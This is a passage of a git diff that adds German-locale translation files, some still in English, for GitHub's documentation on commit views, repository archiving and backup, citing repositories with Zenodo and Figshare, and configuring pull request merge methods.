+  - /github/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Commit views
+ms.openlocfilehash: 2b5d59d385f815bd09c853e398d372bb4c861650
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145132514'
+---
+Auf {% data variables.product.product_name %} kannst du den Commit-Verlauf eines Repositorys folgendermaßen anzeigen:
+
+- Direkte Navigation zur [Seite „Commits“](https://github.com/mozilla/rust/commits/master)eines Repositorys
+- Klicke auf eine Datei und dann auf **Verlauf**, um zum [Commitverlauf für eine bestimmte Datei](https://github.com/mozilla/rust/commits/master/README.md) zu gelangen.
+
+Diese beiden Commit-Ansichten können manchmal _unterschiedliche_ Informationen anzeigen. Beim Verlauf einer einzelnen Datei fehlen möglicherweise Commits, die im Commit-Verlauf des gesamten Repositorys enthalten sind.
+
+Bei Git gibt es mehrere Möglichkeiten, den Verlauf eines Repositorys anzuzeigen. Wenn Git den Verlauf einer einzelnen Datei anzeigt, wird der Verlauf vereinfacht, indem Commits, die keine Änderungen dieser Datei zur Folge hatten, weggelassen werden. Anstatt bei jedem einzelnen Commit zu überprüfen, ob er sich auf die Datei auswirkt, lässt Git einen ganzen Branch weg, wenn dieser Branch nach dem Merge den endgültigen Inhalt der Datei nicht beeinflusst. Alle Commits auf dem Branch, die sich auf die Datei ausgewirkt haben, werden nicht angezeigt.
+
+Für den Commit-Verlauf einer Datei nutzt {% data variables.product.product_name %} explizit diese einfache Strategie. So wird der Verlauf vereinfacht, indem Commits, die sich nicht auf das endgültige Ergebnis ausgewirkt haben, weggelassen werden. Wenn beispielsweise ein Nebenbranch eine Änderung vorgenommen und sie dann rückgängig gemacht hat, wird dieser Commit nicht im Branch-Verlauf aufgeführt. Damit erhöht sich die Effizienz bei Branch-Reviews, da nur Commits angezeigt werden, die sich auf die Datei auswirken.
+
+Diese gekürzte Ansicht enthält möglicherweise nicht immer alle Informationen, die benötigt werden. Wenn du den gesamten Verlauf einsehen möchtest, bietet {% data variables.product.product_name %} eine Ansicht mit weiteren Informationen auf der Commit-Seite eines Repositorys.
+
+Weitere Informationen dazu, wie Git den Commitverlauf behandelt, findest du im Abschnitt [Vereinfachung des Verlaufs](https://git-scm.com/docs/git-log#_history_simplification) des Hilfeartikels `git log`.
+
+## Weiterführende Themen
+
+- [Commits signieren](/articles/signing-commits)
+- [Commits durchsuchen](/search-github/searching-on-github/searching-commits)
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md
new file mode 100644
index 0000000000..9a95b45cf2
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md
@@ -0,0 +1,23 @@
+---
+title: Commits anzeigen und vergleichen
+intro: ''
+redirect_from:
+  - /articles/viewing-and-comparing-commits
+  - /github/committing-changes-to-your-project/viewing-and-comparing-commits
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /comparing-commits
+  - /differences-between-commit-views
+shortTitle: View & compare commits
+ms.openlocfilehash: cf7592cb9cc19bd35a9136be39297e75841b9b47
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132513'
+---
+
diff --git a/translations/de-DE/content/pull-requests/index.md b/translations/de-DE/content/pull-requests/index.md
new file mode 100644
index 0000000000..8894b52b18
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/index.md
@@ -0,0 +1,42 @@
+---
+title: Pull Requests
+intro: "Erfahre, wie du mithilfe von Pull Requests Änderungen an einem Projekt vorschlagen kannst, Änderungsvorschläge für deine eigenen Projekte erhältst und Issues in Pull Requests, wie z.\_B. Mergekonflikte, lösen kannst."
+introLinks:
+  overview: /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
+featuredLinks:
+  guides:
+    - /pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message
+    - /pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
+    - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository
+    - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request
+  popular:
+    - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews
+    - /pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github
+    - /pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork
+    - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request
+  guideCards:
+    - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews
+    - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request
+    - /pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user
+changelog:
+  label: pull-requests
+layout: product-landing
+shortTitle: Pull requests
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Pull requests
+children:
+  - /committing-changes-to-your-project
+  - /collaborating-with-pull-requests
+ms.openlocfilehash: ef158e51034ee5f8d9aba19323654ab413d244b3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063970'
+---
+
diff --git a/translations/de-DE/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md b/translations/de-DE/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md
new file mode 100644
index 0000000000..7dcbc549aa
--- /dev/null
+++ b/translations/de-DE/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md
@@ -0,0 +1,42 @@
+---
+title: Informationen zur Archivierung von Inhalten und Daten auf GitHub
+intro: 'Du kannst Inhalte und Daten auf {% data variables.product.product_name %} archivieren, damit andere Personen sie ansehen und darauf verweisen können.'
+redirect_from:
+  - /articles/about-archiving-content-and-data-on-github
+  - /github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github
+  - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Archive content & data
+ms.openlocfilehash: aeb42b66f2a7d99a2918d3134971ea81b35248a2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132478'
+---
+## Dauerhaftigkeit von öffentlichen Repositorys
+
+{% data variables.product.product_name %} beabsichtigt, deine öffentlichen Repositorys verfügbar zu lassen, es sei denn, du entfernst sie. In einigen Fällen entfernen wir möglicherweise öffentliche Inhalte, beispielsweise in folgenden Fällen:
+
+- Wir erhalten eine [DMCA-Takedown-Notice](/free-pro-team@latest/github/site-policy/dmca-takedown-policy) für Inhalte in einem Repository.
+- Wir stellen fest, dass der Inhalt eines Repositorys gegen unsere [Community-Richtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines) oder [Nutzungsbedingungen](/free-pro-team@latest/github/site-policy/github-terms-of-service) verstößt.
+
+Wissenschaftler und Forscher können in Datenmanagementplänen auf diese Informationen referenzieren.
+
+## Informationen zu {% data variables.product.prodname_archive %}
+
+{% data reusables.repositories.about-github-archive-program %}
+
+Das {% data variables.product.prodname_archive %} ermöglicht es Drittanbietern, öffentliche Repositorys mit der öffentlichen API zu archivieren. Diese Partner archivieren verschiedene Arten von Daten in unterschiedlichen Frequenzen und stellen die Daten der Öffentlichkeit zur Verfügung. Das {% data variables.product.prodname_archive %} schützt auch die Daten kontinuierlich, indem mehrere Kopien in verschiedenen Datenformaten und an verschiedenen Speicherorten gespeichert werden. Beispielsweise speichert {% data variables.product.company_short %} Repositorys in {% data variables.product.prodname_arctic_vault %} mit einer sehr langfristigen Archivierung für einen Zeitraum von mindestens 1.000 Jahren. Weitere Informationen findest du unter [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com/).
+
+Zur verantwortungsvollen Nutzung von Archiven gehört auch die Wahrung der Privatsphäre der Benutzer. Weitere Informationen findest du unter [Öffentliche Informationen auf GitHub](/free-pro-team@latest/github/site-policy/github-privacy-statement#public-information-on-github).
+
+Du kannst Dich vom {% data variables.product.prodname_archive %} für dein Repository abmelden. Weitere Informationen findest du unter [Optieren für oder gegen das {% data variables.product.prodname_archive %} für dein öffentliches Repository](/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository).
+
+## Open-Source-Lizenz zur Verbesserung der Archivierbarkeit hinzufügen
+
+Bibliotheken und Forscher benötigen möglicherweise Rechtsschutz, um Archive mit öffentlich zugänglichen Inhalten zu erstellen. Wenn Dritte deine Arbeit in der {% data variables.product.product_name %} bei der Archivierung berücksichtigen sollen, kannst du deinen Projekten eine [Open Source-Lizenz](/articles/open-source-licensing) hinzufügen. Mit einer Open-Source-Lizenz erhalten Mitarbeiter ausdrückliche Berechtigungen, das Material in deinen Repositorys zu kopieren und zu verteilen.
diff --git a/translations/de-DE/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/de-DE/content/repositories/archiving-a-github-repository/archiving-repositories.md
new file mode 100644
index 0000000000..2257eb1ecd
--- /dev/null
+++ b/translations/de-DE/content/repositories/archiving-a-github-repository/archiving-repositories.md
@@ -0,0 +1,68 @@
+---
+title: Archiving repositories
+intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived.
+redirect_from:
+  - /articles/archiving-repositories
+  - /github/creating-cloning-and-archiving-repositories/archiving-repositories
+  - /articles/about-archiving-repositories
+  - /github/creating-cloning-and-archiving-repositories/about-archiving-repositories
+  - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/about-archiving-repositories
+  - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/archiving-repositories
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+
+## About repository archival
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)."
+
+{% endnote %}
+{% endif %}
+
+{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
+{% note %}
+
+**Note:** Customers who use {% data variables.product.prodname_GH_advanced_security %} can enable {% data variables.product.prodname_secret_scanning %} on archived repositories. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)."
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.repositories.archiving-repositories-recommendation %}
+
+Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project.
+
+When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first.
+
+You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)."  
+
+## Archiving a repository
+
+{% data reusables.repositories.archiving-repositories-recommendation %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under "Danger Zone", click **Archive this repository**
+   ![Archive this repository button](/assets/images/help/repository/archive-repository.png)
+4. Read the warnings.
+5. Type the name of the repository you want to archive.
+  ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png)
+6. Click **I understand the consequences, archive this repository**.
+
+## Unarchiving a repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under "Danger Zone", click **Unarchive this repository**
+  ![Unarchive this repository button](/assets/images/help/repository/unarchive-repository.png)
+4. Read the warnings.
+5. Type the name of the repository you want to unarchive.
+  ![Unarchive repository warnings](/assets/images/help/repository/unarchive-repository-warnings.png)
+6. Click **I understand the consequences, unarchive this repository**.  
diff --git a/translations/de-DE/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/translations/de-DE/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
new file mode 100644
index 0000000000..79f382bd8d
--- /dev/null
+++ b/translations/de-DE/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
@@ -0,0 +1,45 @@
+---
+title: Backing up a repository
+intro: 'You can use{% ifversion ghes or ghae %} Git and{% endif %} the API {% ifversion fpt or ghec %}or a third-party tool {% endif %}to back up your repository.'
+redirect_from:
+  - /articles/backing-up-a-repository
+  - /github/creating-cloning-and-archiving-repositories/backing-up-a-repository
+  - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+{% ifversion fpt or ghec %}
+
+To download an archive of your repository, you can use the API for user or organization migrations. For more information, see "[Migrations](/rest/reference/migrations)."
+{% else %}
+
+You can download and back up your repositories manually:
+
+- To download a repository's Git data to your local machine, you'll need to clone the repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+- You can also download your repository's wiki. For more information, see "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)."
+
+When you clone a repository or wiki, only Git data, such as project files and commit history, is downloaded. You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to your local machine:
+
+- [Issues](/rest/reference/issues#list-issues-for-a-repository)
+- [Pull requests](/rest/reference/pulls#list-pull-requests)
+- [Forks](/rest/reference/repos#list-forks)
+- [Comments](/rest/reference/issues#list-issue-comments-for-a-repository)
+- [Milestones](/rest/reference/issues#list-milestones)
+- [Labels](/rest/reference/issues#list-labels-for-a-repository)
+- [Watchers](/rest/reference/activity#list-watchers)
+- [Stargazers](/rest/reference/activity#list-stargazers)
+- [Projects](/rest/reference/projects#list-repository-projects)
+{% endif %}
+
+Once you have {% ifversion ghes or ghae %}a local version of all the content you want to back up, you can create a zip archive and {% else %}downloaded your archive, you can {% endif %}copy it to an external hard drive and/or upload it to a cloud-based backup or storage service such as [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/) or [Dropbox](https://www.dropbox.com/).
+
+{% ifversion fpt or ghec %}
+## Third-party backup tools
+
+A number of self-service tools exist that automate backups of repositories. Unlike archival projects, which archive _all_ public repositories on {% data variables.product.product_name %} that have not opted out and make the data accessible to anyone, backup tools will download data from _specific_ repositories and organize it within a new branch or directory. For more information about archival projects, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." For more information about self-service backup tools, see the [Backup Utilities category on {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=backup-utilities).
+{% endif %}
diff --git a/translations/de-DE/content/repositories/archiving-a-github-repository/index.md b/translations/de-DE/content/repositories/archiving-a-github-repository/index.md
new file mode 100644
index 0000000000..9e01dd8812
--- /dev/null
+++ b/translations/de-DE/content/repositories/archiving-a-github-repository/index.md
@@ -0,0 +1,29 @@
+---
+title: Ein GitHub-Repository archivieren
+intro: 'Du kannst deine Arbeit mit {% data variables.product.product_name %}, der API oder Tools und Diensten von Drittanbietern archivieren, sichern und zitieren.'
+redirect_from:
+  - /articles/can-i-archive-a-repository
+  - /articles/archiving-a-github-repository
+  - /enterprise/admin/user-management/archiving-and-unarchiving-repositories
+  - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /archiving-repositories
+  - /about-archiving-content-and-data-on-github
+  - /referencing-and-citing-content
+  - /backing-up-a-repository
+shortTitle: Archive a repository
+ms.openlocfilehash: 55a4912215bad5f674bf535121c0bf449271d268
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132471'
+---
+
diff --git a/translations/de-DE/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md b/translations/de-DE/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
new file mode 100644
index 0000000000..27fa92e78b
--- /dev/null
+++ b/translations/de-DE/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
@@ -0,0 +1,39 @@
+---
+title: Referencing and citing content
+intro: You can use third-party tools to cite and reference content on GitHub.
+redirect_from:
+  - /articles/referencing-and-citing-content
+  - /github/creating-cloning-and-archiving-repositories/referencing-and-citing-content
+  - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/referencing-and-citing-content
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Reference & cite content
+---
+## Issuing a persistent identifier for your repository with Zenodo
+
+To make your repositories easier to reference in academic literature, you can create persistent identifiers, also known as Digital Object Identifiers (DOIs). You can use the data archiving tool [Zenodo](https://zenodo.org/about) to archive a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and issue a DOI for the archive.
+
+{% tip %}
+
+**Tips:**
+- Zenodo can only access public repositories, so make sure the repository you want to archive is [public](/articles/making-a-private-repository-public).
+- If you want to archive a repository that belongs to an organization, the organization owner may need to [approve access](/articles/approving-oauth-apps-for-your-organization) for the Zenodo application.
+- Make sure to include a [license](/articles/open-source-licensing) in your repository so readers know how they can reuse your work.
+
+{% endtip %}
+
+1. Navigate to [Zenodo](http://zenodo.org/).
+2. In the upper-left corner of the screen, click **Log in**. ![Zenodo log in button](/assets/images/help/repository/zenodo_login.png)
+3. Click **Log in with GitHub**. ![Log into Zenodo with GitHub](/assets/images/help/repository/zenodo_login_with_github.png)
+4. Review the information about access permissions, then click **Authorize application**. ![Authorize Zenodo](/assets/images/help/repository/zenodo_authorize.png)
+5. Navigate to the [Zenodo GitHub page](https://zenodo.org/account/settings/github/). ![Zenodo GitHub page](/assets/images/help/repository/zenodo_github_page.png)
+6. To the right of the name of the repository you want to archive, toggle the button from **Off** to **On** to enable it for archiving. ![Enable Zenodo archiving on repository](/assets/images/help/repository/zenodo_toggle_on.png)
+
+Zenodo archives your repository and issues a new DOI each time you create a new {% data variables.product.product_name %} [release](/articles/about-releases/). Follow the steps at "[Creating releases](/articles/creating-releases/)" to create a new one.
+
+## Publicizing and citing research material with Figshare
+
+Academics can use the data management service [Figshare](http://figshare.com) to publicize and cite research material. For more information, see [Figshare's support site](https://knowledge.figshare.com/articles/item/how-to-connect-figshare-with-your-github-account).
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
new file mode 100644
index 0000000000..cbbb88a505
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
@@ -0,0 +1,50 @@
+---
+title: About merge methods on GitHub
+intro: 'You can allow contributors with push access to your repository to merge their pull requests on {% data variables.location.product_location %} with different merge options or enforce a specific merge method for all of your repository''s pull requests.'
+redirect_from:
+  - /articles/about-merge-methods-on-github
+  - /github/administering-a-repository/about-merge-methods-on-github
+  - /github/administering-a-repository/configuring-pull-request-merges/about-merge-methods-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: About merge methods
+---
+{% data reusables.pull_requests.configure_pull_request_merges_intro %} You can enforce one type of merge method, such as commit squashing or rebasing, by only enabling the desired method for your repository.
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note:** When using the merge queue, you no longer get to choose the merge method, as this is controlled by the queue. {% data reusables.pull_requests.merge-queue-references %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.pull_requests.default_merge_option %}
+
+The default merge method creates a merge commit. You can prevent anyone from pushing merge commits to a protected branch by enforcing a linear commit history. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-linear-history)."
+
+## Squashing your merge commits
+
+{% data reusables.pull_requests.squash_and_merge_summary %}
+
+Before enabling squashing commits, consider these disadvantages:
+- You lose information about when specific changes were originally made and who authored the squashed commits.
+- If you continue working on the head branch of a pull request after squashing and merging, and then create a new pull request between the same branches, commits that you previously squashed and merged will be listed in the new pull request. You may also have conflicts that you have to repeatedly resolve in each successive pull request. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squashing-and-merging-a-long-running-branch)."
+- Some Git commands that use the "SHA" or "hash" ID may be harder to use since the SHA ID for the original commits is lost. For example, using [`git rerere`](https://git-scm.com/docs/git-rerere) may not be as effective.
+
+For more information, see "[Configuring commit squashing for pull requests](/articles/configuring-commit-squashing-for-pull-requests)."
+
+## Rebasing and merging your commits
+
+{% data reusables.pull_requests.rebase_and_merge_summary %}
+
+Before enabling commit rebasing, consider these disadvantages:
+- Repository contributors may have to rebase on the command line, resolve any conflicts, and force push their changes to the pull request's topic branch (or remote head branch) before they can use the **rebase and merge** option on {% data variables.location.product_location %}. Force pushing must be done carefully so contributors don't overwrite work that others have based their work on. To learn more about when the **Rebase and merge** option is disabled on {% data variables.location.product_location %} and the workflow to re-enable it, see "[About pull request merges](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits)."
+- {% indented_data_reference reusables.pull_requests.rebase_and_merge_verification spaces=3 %}
+
+For more information, see "[Configuring commit rebasing for pull requests](/articles/configuring-commit-rebasing-for-pull-requests)."
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md
new file mode 100644
index 0000000000..610176d045
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md
@@ -0,0 +1,32 @@
+---
+title: Configuring commit merging for pull requests
+intro: 'You can enforce, allow, or disable merging with a merge commit for all pull request merges on {% data variables.location.product_location %} in your repository.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Configure commit merging
+---
+{% data reusables.pull_requests.configure_pull_request_merges_intro %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+1. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow merge commits**. This allows contributors to merge a pull request with a full history of commits.{% ifversion default-merge-squash-commit-message %}
+ ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-merge-commits.png){% endif %}{% ifversion ghes = 3.6 %}
+ ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-merge-commits-no-dropdown.png){% endif %}
+{% ifversion ghes < 3.6  %}
+ ![allow_standard_merge_commits](/assets/images/help/repository/pr-merge-full-commits.png){% endif %}
+{% ifversion default-merge-squash-commit-message %}
+1. Optionally, under **Allow merge commits**, use the dropdown to choose the format of the commit message presented to contributors when merging. The default message includes the pull request number and title. For example, `Merge pull request #123 from patch-1`. You can also choose to use just the pull request title, or the pull request title and description. 
+![Screenshot of emphasized default commit message dropdown](/assets/images/help/repository/default-commit-message-dropdown.png)
+{% endif %}
+
+If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %}
+
+## Further reading
+
+- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)"
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md
new file mode 100644
index 0000000000..c4652106f1
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md
@@ -0,0 +1,28 @@
+---
+title: Configuring commit rebasing for pull requests
+intro: 'You can enforce, allow, or disable commit rebasing for all pull request merges on {% data variables.location.product_location %} in your repository.'
+redirect_from:
+  - /articles/configuring-commit-rebasing-for-pull-requests
+  - /github/administering-a-repository/configuring-commit-rebasing-for-pull-requests
+  - /github/administering-a-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Configure commit rebasing
+---
+{% data reusables.pull_requests.configure_pull_request_merges_intro %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow rebase merging**. This allows contributors to merge a pull request by rebasing their individual commits onto the base branch. 
+{% ifversion default-merge-squash-commit-message %}
+ ![Screenshot of Pull Request settings with allow rebase merging checkbox emphasized](/assets/images/help/repository/allow-rebase-merging.png){% endif %}{% ifversion ghes = 3.6  %}
+ ![Screenshot of Pull Request settings with allow rebase merging checkbox emphasized](/assets/images/help/repository/allow-rebase-merging-no-dropdown.png){% endif %}
+ {% ifversion ghes < 3.6  %}
+ ![Pull request rebased commits](/assets/images/help/repository/pr-merge-rebase.png){% endif %}
+
+If you also select another merge method, collaborators will be able to choose the type of merge commit when merging a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %}
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md
new file mode 100644
index 0000000000..7814e66262
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md
@@ -0,0 +1,38 @@
+---
+title: Configuring commit squashing for pull requests
+intro: 'You can enforce, allow, or disable commit squashing for all pull request merges on {% data variables.location.product_location %} in your repository.'
+redirect_from:
+  - /articles/configuring-commit-squashing-for-pull-requests
+  - /github/administering-a-repository/configuring-commit-squashing-for-pull-requests
+  - /github/administering-a-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Configure commit squashing
+---
+{% data reusables.pull_requests.configure_pull_request_merges_intro %}
+
+{% data reusables.pull_requests.default-commit-message-squash-merge %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+1. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow squash merging**. This allows contributors to merge a pull request by squashing all commits into a single commit. The default commit message presented to contributors when merging is the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. {% ifversion ghes = 3.6 %} To always use the title of the pull request regardless of the number of commits in the pull request select **Default to PR title for squash merge commits**.{% endif %}{% ifversion default-merge-squash-commit-message %} 
+ ![Pull request squashed commits](/assets/images/help/repository/allow-squash-merging.png){% endif %}{% ifversion ghes = 3.6 %}
+ ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-squash-merging-no-dropdown.png){% endif %}
+{% ifversion ghes < 3.6  %}
+ ![Pull request squashed commits](/assets/images/enterprise/3.5/repository/pr-merge-squash.png){% endif %}
+{% ifversion default-merge-squash-commit-message %}
+1. Optionally, under **Allow squash merging**, use the dropdown to choose the format of the default squash commit message presented to contributors when merging. The default message uses the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. You can also choose to use just the pull request title, the pull request title and commit details, or the pull request title and description.
+![Screenshot of emphasized default squash message dropdown](/assets/images/help/repository/default-squash-message-dropdown.png)
+{% endif %}
+
